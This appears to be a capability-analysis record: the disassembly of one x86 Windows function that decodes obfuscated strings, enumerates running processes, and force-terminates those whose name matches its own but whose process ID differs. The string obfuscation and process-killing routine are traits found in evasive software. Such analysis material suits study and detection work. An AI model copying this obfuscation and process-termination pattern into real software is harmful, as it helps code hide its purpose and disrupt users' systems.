Function at 0x4040d6
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
sub esp, 0x128
lea ebp, [esp - 4]
mov eax, dword [0x4a321c]
xor eax, ebp
mov dword [ebp + 0x128], eax
push 0x4c
mov eax, 0x4713f0
call fcn.004547e6
and dword [ebp - 0x24], 0
push 2
pop ebx
push ebx
push ebx
sub esp, 0x1c
mov dword [ebp - 0x30], ecx
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.IDYVFDojETA0BU9P
call fcn.0040238c
call fcn.00403db6
add esp, 0x20
mov dword [ebp - 0x14], esp
mov esi, esp
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.PCY_FiAmHRMjGzNDODMnQzwzAjk_I09P
call fcn.0040238c
push esi
call fcn.00403ca0
add esp, 0x28
call fcn.0041d4bd
pop ecx
test al, al
je 0x404155
xor eax, eax
jmp 0x4045e4
push ecx
mov esi, esp
mov dword [ebp - 0x14], esp
push ebx
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x20], esp
push str.IDcdEDozNzU3CkYXNQoFJA
call fcn.0040238c
push esi
call fcn.00403ca0
and dword [ebp - 4], 0
add esp, 0x24
mov dword [ebp - 0x20], esp
mov edi, esp
push 5
pop esi
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x20], esp
push str.Oxs3ACMmHR8hGkpGMRkdJDwgHUI8CEI7OQszRDgaGQA7FScIIAgnBSMZOxs4CBVHOBUkIiYFT08
call fcn.0040238c
push edi
call fcn.00403ca0
or dword [ebp - 4], 0xffffffff
add esp, 0x28
call fcn.0041b2c3
pop ecx
pop ecx
call sub.KERNEL32.dll_GetCurrentProcessId
mov dword [ebp - 0x14], eax
call fcn.0043213e
mov eax, dword [eax + 4]
push dword [eax + 0x60]
lea ecx, [ebp - 0x18]
call fcn.00404092
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.IiAdJCMmIxo9ChEFOyBCOTwgHUI7FU9P
mov dword [ebp - 4], 1
call fcn.0040238c
lea eax, [ebp - 0x28]
push eax
call fcn.00403ca0
add esp, 0x28
mov eax, dword [eax]
push dword [eax - 0xc]
lea ecx, [ebp - 0x18]
push eax
mov byte [ebp - 4], bl
call fcn.00403823
mov ecx, dword [ebp - 0x28]
add ecx, 0xfffffff0
mov byte [ebp - 4], 1
call fcn.00401268
xor edi, edi
push edi
push ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x28], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x124
lea eax, [ebp + 4]
push edi
push eax
mov dword [ebp - 0x2c], edi
call fcn.00454130
add esp, 0xc
lea eax, [ebp]
push eax
push dword [ebp - 0x28]
mov dword [ebp], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, 0x4a46a4
call fcn.004322ac
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405926
lea eax, [ebp + 0x24]
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 3
call fcn.004039e4
push edi
lea eax, [ebp - 0x20]
push edi
push eax
call fcn.0040398d
add esp, 0xc
mov eax, dword [eax]
push dword [eax - 0xc]
lea ecx, [ebp - 0x1c]
push eax
mov byte [ebp - 4], 4
call fcn.00403823
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
mov byte [ebp - 4], 3
call fcn.00401268
mov eax, dword [ebp - 0x18]
push dword [eax - 0xc]
lea ecx, [ebp - 0x1c]
push eax
call fcn.00403823
push dword [ebp - 0x18]
lea eax, [ebp + 0x24]
push eax
call fcn.00463931
pop ecx
pop ecx
test eax, eax
jne 0x4042c5
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x14]
jne 0x4042ea
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
mov byte [ebp - 4], 1
call fcn.00401268
lea eax, [ebp]
push eax
push dword [ebp - 0x28]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40424f
jmp 0x40431a
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
lea eax, [ebp - 0x2c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x2c]
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.00401268
mov ecx, dword [ebp - 0x18]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00401268
cmp dword [0x4b4b18], 3
jne 0x404369
mov eax, dword [0x4b4b1c]
push dword [eax + 4]
mov ecx, 0x4a46b4
call fcn.00403970
mov eax, dword [0x4b4b1c]
push dword [eax + 8]
call fcn.00455c67
mov dword [0x4a4690], eax
mov eax, dword [0x4b4b1c]
pop ecx
push dword [eax + 4]
mov ecx, 0x4a46b8
call fcn.00403970
lea eax, [ebp - 0x14]
push eax
call fcn.0041b4da
pop ecx
mov ecx, eax
mov dword [ebp - 4], esi
call fcn.004037b5
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040366b
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
mov byte [ebp - 4], 7
call fcn.00401268
xor edi, edi
push edi
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.PDE_Qjw2MxUzIDcKNCYGIg
call fcn.0040238c
lea eax, [ebp - 0x1c]
push eax
call fcn.00403ca0
add esp, 0x28
push dword [eax]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.004035d2
push esi
push esi
sub esp, 0x1c
cmp eax, 0xffffffff
mov ecx, esp
mov dword [ebp - 0x10], esp
jle 0x4043fa
push str.IiMdHDQYQh87CwFEOzBCECILMDY0GEoKOQgzCjUIATQ9GyAxIRgVEzlCM0oxCitHOBUkIiYFT08
call fcn.0040238c
lea eax, [ebp - 0x28]
push eax
call fcn.00403ca0
add esp, 0x28
mov byte [ebp - 4], 9
mov dword [ebp - 0x24], 1
jmp 0x40441a
push str.Oxs_JDs2J0A1IDMbMCEWNSILMDY0GEoKOQgzCjUIATQ9GyAxIRgVEzxCJ0U_MEIzOwsrMCMxNxA6JydDNCYBOTsYK0E1NgUKOTY3GjUnAiI
call fcn.0040238c
lea eax, [ebp - 0x20]
push eax
call fcn.00403ca0
add esp, 0x28
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x24], ebx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040366b
mov dword [ebp - 4], 0xb
test byte [ebp - 0x24], bl
je 0x40443e
mov ecx, dword [ebp - 0x20]
and dword [ebp - 0x24], 0xfffffffd
add ecx, 0xfffffff0
call fcn.00401268
test byte [ebp - 0x24], 1
je 0x40444f
mov ecx, dword [ebp - 0x28]
add ecx, 0xfffffff0
call fcn.00401268
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
mov byte [ebp - 4], 0xe
call fcn.00401268
push ecx
mov eax, esp
mov dword [ebp - 0x10], esp
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.OxUVXTQbHRo8CwFdMCBDFiILMDY8NgUKOUNCRjgVJzk7FSckIBgnBSMZJ0swIEI7OzYrHDcIBTQ4QitdMCEGNj0FHSQ6NkIaPwozRDszNDQ_Jj9BPBs7FTQjFUU8GR1FPws3GComNxAwGxVKOzBDMDszFTQiGEpAOEIBQz8mSh8iNjMWIyYzHzsKJxg1Jksi
mov dword [ebp - 0x14], eax
call fcn.0040238c
mov eax, dword [ebp - 0x14]
push eax
call fcn.00403ca0
mov esi, dword [ebp - 0x30]
add esp, 0x28
mov ecx, esi
call fcn.00403fab
or dword [0x4a4690], eax
push ebx
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.IhgnBzwaQjQ6MEYWNworXTcKBSY0IBEzPhoROTcgRjo0GhYRMBUdNQ
call fcn.0040238c
lea eax, [ebp - 0x30]
push eax
call fcn.00403ca0
add esp, 0x24
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
lea eax, [ebp - 0x18]
push eax
push ecx
mov byte [ebp - 4], 0xf
call fcn.0040398d
add esp, 0xc
mov ecx, esi
call fcn.00403fab
mov ecx, dword [ebp - 0x30]
or dword [0x4a4690], eax
add ecx, 0xfffffff0
mov byte [ebp - 4], 0xe
call fcn.00401268
push ebx
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.ORodByIKPzkwIBEjMyARJjMwNxMGgERMyMrJjoaRio0HgUgNDAnTw
call fcn.0040238c
lea eax, [ebp - 0x30]
push eax
call fcn.00403ca0
add esp, 0x24
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
lea eax, [ebp - 0x18]
push eax
push ecx
mov byte [ebp - 4], 0x10
call fcn.0040398d
add esp, 0xc
mov ecx, esi
call fcn.00403fab
mov ecx, dword [ebp - 0x30]
or dword [0x4a4690], eax
add ecx, 0xfffffff0
mov byte [ebp - 4], 0xe
call fcn.00401268
mov eax, dword [0x4a46b4]
cmp dword [eax - 0xc], edi
jne 0x4045bd
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
lea ecx, [ebp - 0x58]
call fcn.0043134a
mov dword [ebp - 0x58], 0x47bae0
lea eax, [ebp - 0x58]
push eax
mov ecx, esi
mov byte [ebp - 4], 0x11
call fcn.004308bc
mov ecx, esi
call fcn.00430ce7
push edi
call fcn.0043592d
pop ecx
push ebx
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.OyARFjMVKxA6BREUNQoFMDAaPxc6GhEz
call fcn.0040238c
lea eax, [ebp - 0x10]
push eax
call fcn.00403ca0
add esp, 0x28
push dword [eax]
mov ecx, esi
mov byte [ebp - 4], 0x12
call fcn.00434deb
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401268
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0xe
call fcn.0043138e
mov ecx, esi
mov byte [esi + 0xa4], 1
call fcn.00403e47
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.00401268
mov ecx, dword [ebp - 0x2c]
add ecx, 0xfffffff0
call fcn.00401268
xor eax, eax
inc eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x128]
xor ecx, ebp
call fcn.004547d7
add ebp, 0x12c
leave
ret